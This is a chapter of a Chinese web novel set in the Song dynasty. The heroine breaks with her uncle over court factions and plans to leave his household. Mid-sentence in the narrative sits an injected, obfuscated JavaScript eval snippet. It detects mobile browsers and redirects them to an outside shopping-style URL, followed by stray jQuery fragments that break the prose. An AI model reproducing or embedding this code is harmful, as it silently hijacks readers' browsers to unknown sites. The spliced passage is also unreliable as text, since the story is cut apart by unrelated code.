十二月廿六，雪后初晴。


    沈清辞坐在兰亭院书房的窗前，手里捧着一卷书，目光却落在院子里那棵桂花树上。


    阳光照在雪地上，白得刺眼。


    她在等。


    等一个人。


    “姑娘。”青黛从门外进来，压低声音，“舅老爷来了。”


    沈清辞放下书，站起身。


    王仲山推门进来时，脸上带着一种她从未见过的神色——


    不是平日的温和，也不是之前的试探，而是一种混杂着疲惫、犹豫和某种期待的复杂表情。


    “舅舅。”她敛衽行礼。


    王仲山摆了摆手，在桌边坐下。


    他今日穿一件石青色锦袍，腰系玉带，显然是刚从外面回来，官服都来不及换。


    “辞儿，坐。”


    沈清辞在他对面坐下，等着他开口。


    王仲山沉默了一会儿，端起桌上的茶盏，喝了一口，又放下。


    “今日朝堂上，”他终于开口，“李邦彦李相国，单独和舅舅说了几句话。”


    沈清辞的心跳快了半拍，面上却不显。


    “哦？”


    “他说，”王仲山看着她，“年后吏部有个侍郎的缺，若舅舅能……有所表示，他可以帮着使使劲。”


    有所表示。


    这四个字，在这个节骨眼上，什么意思，沈清辞再清楚不过。


    “那舅舅您是怎么回的？”


    王仲山没有回答。


    他只是看着她，目光里有一种说不清的东西。


    “辞儿，你上次和舅舅说的那些话，舅舅都记得。”他说，“李纲大人那边，这几日也确实被新帝召见了，听说要授兵部侍郎。”


    沈清辞点点头。


    “可李相国那边，是实实在在的许诺。”王仲山的声音低下去，“辞儿，你知道舅舅在这位置上熬了十几年，好不容易……”


    他没有说完。


    沈清辞看着他，心里涌起一股复杂的情绪。


    她当然明白王仲山的处境。


    一个不上不下的官员，熬了十几年，眼看着别人一个个爬上去，自己还在原地打转。


    现在终于有人递来梯子，他怎么可能不心动？


    可那梯子，是通往悬崖峭壁的路，是一条死路。


    “舅舅。”她开口，声音很轻，“辞儿有句话，不知当讲不当讲。”


    王仲山看着她：“你说。”


    沈清辞深吸一口气。


    “金军已经过了中山府，正往真定府去。舅舅知道这意味着什么吗？”


    王仲山闻言，脸色变了变。


    “真定府离汴京，只有六百里。”沈清辞继续说，“金兵行军，一日六十里，十天就能到黄河。过了黄河，就是汴京。”


    王仲山沉默着。


    “若城破，”沈清辞盯着他的眼睛，“舅舅那个侍郎的官位，还有何用？”


    王仲山的眼神动了动。


    “金人不会打进来的。”他说，“朝廷已经在议和了，要派人去和金人谈——”


    “谈什么？”沈清辞打断他，“割地？赔款？称臣？”


    王仲山愣住了。


    沈清辞站起身，走到窗前，背对着他。


    “舅舅可知道，金人为什么会打过来？”她说，“因为他们看透了。”


    “看透了我们大宋不敢打，看透了议和能给更多，看透了这座城里的人，都像舅舅一样——等着别人去谈，等着别人去守，等着别人去死。”


    王仲山的脸色，更白了。


    “辞儿！你……”


    沈清辞转过身，看着他。


    “舅舅，辞儿不是要冒犯您。”她说，“辞儿只是想让舅舅想清楚——我们江南沈氏，百余年的根基，靠的是什么？靠的是站对位置，靠的是押对宝。舅舅觉得，李邦彦那个宝，押得对吗？”


    王仲山沉默了。


    窗外，有风吹过，积雪从枝头簌簌落下。


    “你父亲，”他忽然开口，“也说过类似的话。”


    沈清辞愣了一下。


    “当年他在汴京时，和我说过，站队这件事，宁可站慢，不可站错。”


    王仲山苦笑着，继续道：“他说，慢一步，只是晚几年；错一步，就是全盘皆输。”


    沈清辞看着他，心里忽然生出一丝希望。


    “那舅舅的意思是……”


    “可你父亲那是站着说话不腰疼。”王仲山打断她，“他在江南，且江南沈家乃是百年士族，天高皇帝远，谁当官家都一样。但舅舅在汴京城，在朝堂上，一步慢，步步慢。”


    沈清辞的心，沉了下去。


    “所以舅舅打算怎么做？”


    王仲山站起身，走到她面前。


    “舅舅会考虑。”他说，“但这段日子，外面不太平，你还是少出门为好。”


    沈清辞的手攥紧了。


    “舅舅这是要禁我的足？”


    “不是禁足。”王仲山摇头，“舅舅只是想护着你。”


    他转身往外走，走到门口，忽然停住。


    “辞儿，”他没有回头，“舅舅知道，你一向有自己的主意。但有些事，不是你想的那么简单。”


    说完，他便推门出去了。


    沈清辞站在原地，望着那扇关上的门。


    青黛从外间进来，看见她的脸色很严肃，没有出声，只是静静站在一旁候着。


    许久，沈清辞才开口。


    “青黛。”


    “姑娘？”


    “这条路，断了。”


    青黛愣了一下：“姑娘是说舅老爷——”


    “他不会站队李纲大人的。”沈清辞说，“但他也不会站队李邦彦。他就站在中间，等着看谁能赢。”


    青黛闻言，一时不知该说什么，只能沉默着。


    沈清辞走到窗前，推开窗。


    冷风一下子灌进来，吹得她发丝飞扬。


    阳光照在雪地上，亮得刺眼。


    她原本还指望借王仲山的人脉，接触李纲，递上那些策论。


    可现在——


    这条路断了。


    她得想别的办法。


    ******


    傍晚时分，青黛把一封信递过来，“顾郎君差人送来的。”


    沈清辞展开，扫了一遍，又把信折好，在书案前坐了好一会儿。


    信不长，只说了两件事。


    第一件，粮价的涨势超过了预期——


    原本她估算到年底会涨两倍，但眼下已经快到两倍半了，顾长风说城中已经有人开始私下囤粮，不是粮商，是普通人家，一袋一袋地往家里搬。


    街上买粮的队伍越来越长，有的铺子一早开门，不到巳时就售罄了。


    第二件，黄记有了动静，据顾长风的消息，黄记的当家昨日悄悄去了一趟城北，见了一个人，见的是谁，暂时还不清楚。


    沈清辞把第二件事在心里仔细盘算了一下，放下信，起身走到窗边。


    窗外的天色已经完全暗下来了，兰亭院的廊灯一盏一盏地亮起，把那条游廊照得暖黄。


    但那暖色到了廊边就断了，往外是冬夜的黑，两种颜色泾渭分明，像一道看不见的界线。


    她站在窗边，把今天的事重新理了一遍。


    王仲山选了观望。


    借他的人脉接触李纲，这条路


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335816|199114||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就断了。


    那只能换一条。


    沈清辞把目前手里的几条线在心里逐一过了一遍——


    萧景琰的旧识还在跟进，但进展缓慢；


    城南那张信息网开始成型，但离朝堂太远；


    顾长风的商路是稳的，但商人的身份进不了那扇门。


    她现在急需要一个新的落脚点。


    一个不在王仲山府里的落脚点。


    这个念头浮出来的时候，她知道，脱身这件事，不能再拖了。


    不是逃跑，而是找一个合理的理由，光明正大地走出这座宅子，走到一个她能自己做主的地方去。


    沈清辞在窗边站着，开始想。


    有什么合适的理由？


    在宋代，一位女眷离开寄居的亲戚家，需要一个站得住脚的由头。


    说回江南，眼下兵荒马乱，王仲山不会放她走。


    况且她也不能走，汴京是她的战场，她走了，那些已经布下的棋怎么办。


    她把各种理由逐一排掉，最后剩下一条。


    自立门户。


    用“嫁妆置业”的名义，在城中另租一处宅子，说是为婚事提前安置，既有面子，又有道理，王仲山乐于见得外甥女有这个稳重的心思，不会强拦。


    但这需要理由，需要一个推力——


    她忽然想到了一件事。


    顾长风的信上说，粮价涨势超预期，城中已有人囤粮自保。


    若她以“城中物价波动，需亲自打理嫁妆资产”为由，向母亲提出在城中另置小院，方便料理事务……


    沈夫人如此疼她，应该不会驳了她的面子。


    王仲山见她懂事，只会点头。


    这条路，或许走得通。


    沈清辞把这个计划有来回思索了一遍，确认没有漏洞，转身回到书案前，取了纸笔，开始给顾长风写回信。


    回信也不长，只三件事。


    第一，粮价的事，让他务必盯紧黄记，若黄记再有异动，第一时间来报。


    第二，城北那个人，尽快查清楚是谁。


    第三，帮她留意城中有没有合适的小院出租，要求两条：清净，位置不能太偏。


    写完，封好，叫青黛明早送出去。


    青黛接过信，看了她一眼，没有问，转身要去放信，被沈清辞叫住了。


    “青黛，”她道，“坐一下。”


    青黛把信收好，在她对面坐下，等她说话。


    沈清辞把今日的事，从头到尾，简短地说了一遍——


    王仲山的选择，接触李纲的那条路断了，她打算另寻出路，脱离这座宅子。


    青黛听完，沉默了片刻，“那舅老爷那边……”


    “他做他的选择，我做我的，”沈清辞道，“我不可能再等他自己想明白了。”


    “那大娘子那边呢，”青黛问的是沈夫人，“您打算怎么跟她说。”


    “当然实话说，”沈清辞道，“也不能全说，但不骗她。”


    青黛点了点头，没有再问，她一直有种很好的直觉，知道什么时候该追问，什么时候该住嘴。


    沈清辞看着她，认真问道：“青黛，你愿意跟我走吗？”


    青黛愣了一下，疑惑道：“娘子您问这个做什么？”


    “因为出了这座宅子，”沈清辞道，“我们可能会比在这里更难，你要想清楚。”


    青黛想了想，然后抬起头，直直道：“会比在通汇行后院蹲墙根还难？”


    沈清辞闻言愣住了，随即笑了。


    “应该比那个更难，”她说。


    “那，其实也行！”青黛说，一脸的无所谓，“反正奴婢也没什么好怕的。”